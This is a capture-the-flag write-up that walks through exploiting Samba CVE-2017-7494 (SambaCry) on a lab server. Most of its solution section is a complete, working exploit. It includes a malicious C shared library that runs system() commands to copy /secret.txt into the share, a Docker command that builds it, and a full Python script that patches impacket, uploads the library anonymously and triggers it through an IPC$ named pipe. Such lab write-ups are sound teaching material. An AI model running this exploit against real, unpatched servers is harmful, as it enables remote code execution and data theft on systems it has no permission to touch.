← Back to Writeups
CUSTOMEasyPentest

Samba 3.5.0 - 4.6.4 Remote Code Execution (CVE-2017-7494)

XESXOR9/10/20266 min read
#pentest#custom#easy#cross_compilation_docker#impacket_monkey_patching#malicious_so_injection#named_pipe_dlopen_trigger#smb_share_enumeration#srvsvc_share_path_enumeration#writable_share_upload#cve-2017-7494

Samba 3.5.0 - 4.6.4 Remote Code Execution (CVE-2017-7494)

Platform: CUSTOM | Category: Pentest | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: cross_compilation_docker, impacket_monkey_patching, malicious_so_injection, named_pipe_dlopen_trigger, smb_share_enumeration, srvsvc_share_path_enumeration, writable_share_upload

Summary

Walkthrough of the CUSTOM Pentest Samba 3.5.0 - 4.6.4 Remote Code Execution (CVE-2017-7494). Task: Samba 4.6.3 server with writable anonymous share, exploit CVE-2017-7494 (SambaCry) to read /secret.txt. Solution: upload malicious .so to writable share, trigger dlopen via IPC$ named pipe with

Description

Samba is an open-source network file system protocol that provides services such as file and printer sharing. This laboratory contains the CVE-2017-7494 vulnerability found in Samba versions since 3.5.0 and before 4.6.4, 4.5.10, and 4.4.14. This vulnerability allows attackers to perform remote code execution attacks, enabling the execution of arbitrary commands on the server and potentially taking control of the system. What is the secret in the /secret.txt file? Target: 172.20.26.134

English summary: A Samba 4.6.3 server is running on the target with a writable share accessible via anonymous/guest authentication. The goal is to exploit CVE-2017-7494 (SambaCry / is_known_pipename) to achieve remote code execution and read the contents of /secret.txt.

Analysis

CVE-2017-7494 — SambaCry / is_known_pipename

This vulnerability exists in Samba's is_known_pipename() function. When a client opens a named pipe on the IPC$ share, Samba checks whether the pipe name is a "known" pipe. If the pipe name contains a forward slash /, Samba treats it as a filesystem path and calls dlopen() on it, loading the file as a shared library and executing its samba_init_module() function.

Attack chain:

  1. Find a writable SMB share
  2. Upload a malicious .so shared library with a samba_init_module() entry point
  3. Determine the on-disk path of the share
  4. Connect to IPC$ and open a named pipe using the full Unix path to the uploaded .so
  5. Samba calls dlopen() on the path → arbitrary code execution as the Samba process

Reconnaissance

Port 445 (SMB) is open. Samba version 4.6.3 is identified — vulnerable to CVE-2017-7494.

Share enumeration via smbclient -L //172.20.26.134 -N revealed:

  • myshare (Disk) — writable with anonymous access
  • IPC$ — standard IPC share

Used impacket's SRVSVC hNetrShareEnum (level 2) to discover the on-disk path of myshare → /home/share.

Key Challenge: impacket Slash Conversion

A critical implementation detail was discovered: impacket's SMB.nt_create_andx() method contains filename = filename.replace('/', '\\') on its first line, which converts all forward slashes to backslashes. This completely breaks the CVE-2017-7494 exploit because Samba's is_known_pipename() specifically checks for forward slashes / to decide whether to treat the pipe name as a filesystem path.

Multiple SMB libraries (impacket, pysmb) perform this conversion, making off-the-shelf exploitation non-trivial from Python.

Solution

Step 1: Compile the Malicious Shared Library

The payload is a C shared library with samba_init_module() that copies /secret.txt into the share directory:

c
#include <stdio.h>
#include <stdlib.h>

/* Samba loads this and calls samba_init_module(). Copy /secret.txt into
   candidate share paths so we can read it back over SMB. */

static void do_exfil(void) {
    const char *paths[] = {
        "/samba/loot.txt",
        "/var/samba/loot.txt",
        "/srv/samba/loot.txt",
        "/srv/samba/share/loot.txt",
        "/home/share/loot.txt",
        "/tmp/loot.txt",
        "loot.txt",
        NULL
    };
    for (int i = 0; paths[i]; i++) {
        char cmd[512];
        snprintf(cmd, sizeof(cmd), "cp /secret.txt '%s' 2>/dev/null; chmod 666 '%s' 2>/dev/null", paths[i], paths[i]);
        system(cmd);
    }
    /* Also try to copy the file into the current working directory (share dir) */
    system("cp /secret.txt ./loot.txt 2>/dev/null; chmod 666 ./loot.txt 2>/dev/null");
}

int samba_init_module(void) {
    do_exfil();
    return 0;
}

/* constructor as backup */
__attribute__((constructor))
static void init(void) {
    do_exfil();
}

Cross-compiled for x86_64 Linux from macOS ARM64 using Docker:

bash
docker run --rm --platform linux/amd64 -v "$PWD":/work -w /work gcc:latest \
    bash -c "gcc -shared -fPIC -o payload.so payload.c"

Step 2: Upload and Trigger — Full Exploit

The key insight is monkey-patching impacket's nt_create_andx to preserve forward slashes in the pipe name:

python
#!/usr/bin/env python3
"""
CVE-2017-7494 SambaCry exploit
Monkey-patch impacket's nt_create_andx to NOT convert / to \\
"""

import os, sys, time
from io import BytesIO

from impacket.smbconnection import SMBConnection
from impacket.smb import (SMB, SMB_DIALECT, SMBCommand, NewSMBPacket,
    SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data,
    SMBNtCreateAndXResponse_Parameters, FILE_SHARE_READ, FILE_SHARE_WRITE,
    FILE_OPEN, READ_CONTROL, FILE_WRITE_ATTRIBUTES, FILE_READ_ATTRIBUTES,
    FILE_WRITE_EA, FILE_READ_EA, FILE_APPEND_DATA, FILE_WRITE_DATA)

TARGET = "172.20.26.134"
PORT = 445
SO_LOCAL = "payload.so"
SO_NAME = "libpoc.so"
SHARE = "myshare"
SHARE_PATH = "/home/share"

def nt_create_andx_noslash(self, tid, filename, smb_packet=None, cmd=None,
                            shareAccessMode=FILE_SHARE_READ | FILE_SHARE_WRITE,
                            disposition=FILE_OPEN,
                            accessMask=READ_CONTROL | FILE_WRITE_ATTRIBUTES |
                            FILE_READ_ATTRIBUTES | FILE_WRITE_EA |
                            FILE_READ_EA | FILE_APPEND_DATA | FILE_WRITE_DATA):
    """Patched version that does NOT convert / to \\"""
    # DO NOT convert slashes: filename = filename.replace('/', '\\')
    filename = (filename.encode('utf-16le')
                if self._SMB__flags2 & SMB.FLAGS2_UNICODE else filename)

    if smb_packet is None:
        smb = NewSMBPacket()
        smb['Tid'] = tid
    else:
        smb = smb_packet

    if cmd is None:
        ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
        ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
        ntCreate['Data'] = SMBNtCreateAndX_Data(flags=self._SMB__flags2)
        ntCreate['Parameters']['FileNameLength'] = len(filename)
        ntCreate['Parameters']['CreateFlags'] = 0x16
        ntCreate['Parameters']['AccessMask'] = accessMask
        ntCreate['Parameters']['CreateOptions'] = 0x40
        ntCreate['Parameters']['ShareAccess'] = shareAccessMode
        ntCreate['Parameters']['Disposition'] = disposition
        ntCreate['Data']['FileName'] = filename
        if self._SMB__flags2 & SMB.FLAGS2_UNICODE:
            ntCreate['Data']['Pad'] = 0x0
    else:
        ntCreate = cmd

    smb.addCommand(ntCreate)
    self.sendSMB(smb)

    smb = self.recvSMB()
    if smb.isValidAnswer(SMB.SMB_COM_NT_CREATE_ANDX):
        ntCreateResponse = SMBCommand(smb['Data'][0])
        ntCreateParameters = SMBNtCreateAndXResponse_Parameters(
            ntCreateResponse['Parameters'])
        self.fid = ntCreateParameters['Fid']
        return ntCreateParameters['Fid']
    return None

# Monkey-patch impacket
SMB.nt_create_andx = nt_create_andx_noslash

def exploit():
    # 1. Upload payload to writable share
    smb = SMBConnection(remoteName='*SMBSERVER', remoteHost=TARGET, sess_port=PORT)
    smb.login(user='', password='')
    with open(SO_LOCAL, 'rb') as f:
        smb.putFile(SHARE, SO_NAME, f.read)
    print(f"[+] Uploaded {SO_NAME}")
    smb.close()

    # 2. Trigger via SMB1 named pipe with full Unix path
    smb1 = SMBConnection(remoteName='*SMBSERVER', remoteHost=TARGET, sess_port=PORT,
                         preferredDialect=SMB_DIALECT)
    smb1.login(user='', password='')

    fullpath = f"{SHARE_PATH}/{SO_NAME}"  # /home/share/libpoc.so
    print(f"[*] Triggering: {fullpath}")

    try:
        smb_obj = smb1.getSMBServer()
        tid = smb_obj.tree_connect_andx('\\\\*SMBSERVER\\IPC$')
        fid = smb_obj.nt_create_andx(tid, fullpath)
        print(f"[+] Opened! fid={fid}")
    except Exception as e:
        # STATUS_OBJECT_NAME_NOT_FOUND is expected — dlopen side effect already fired
        print(f"  [*] Exception (expected): {e}")

    smb1.close()

    # 3. Retrieve exfiltrated data
    time.sleep(3)
    smb2 = SMBConnection(remoteName='*SMBSERVER', remoteHost=TARGET, sess_port=PORT)
    smb2.login(user='', password='')

    buf = BytesIO()
    smb2.getFile(SHARE, "loot.txt", buf.write)
    content = buf.getvalue().decode('utf-8', errors='replace')
    print(f"\n[+] SECRET: {content}")
    smb2.close()

if __name__ == "__main__":
    exploit()

Step 3: Execution Flow

  1. Upload: Connect to myshare with anonymous credentials, upload payload.so as libpoc.so
  2. Trigger: Force SMB1 dialect (preferredDialect=SMB_DIALECT), connect to IPC$ tree, open named pipe /home/share/libpoc.so using the monkey-patched nt_create_andx that preserves forward slashes
  3. dlopen fires: Samba's is_known_pipename() sees the / in the pipe name, calls dlopen("/home/share/libpoc.so"), which executes samba_init_module() → system("cp /secret.txt /home/share/loot.txt")
  4. Retrieve: The STATUS_OBJECT_NAME_NOT_FOUND error is expected (the pipe doesn't exist as a real pipe), but the dlopen() side effect has already executed. After a brief delay, loot.txt appears in the share and is downloaded via SMB

Key Takeaways / Lessons

  • Mastering cross_compilation_docker, impacket_monkey_patching, malicious_so_injection, named_pipe_dlopen_trigger, smb_share_enumeration, srvsvc_share_path_enumeration, writable_share_upload was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-07-08 • CUSTOM • Samba 3.5.0 - 4.6.4 Remote Code Execution (CVE-2017-7494) • Difficulty: Easy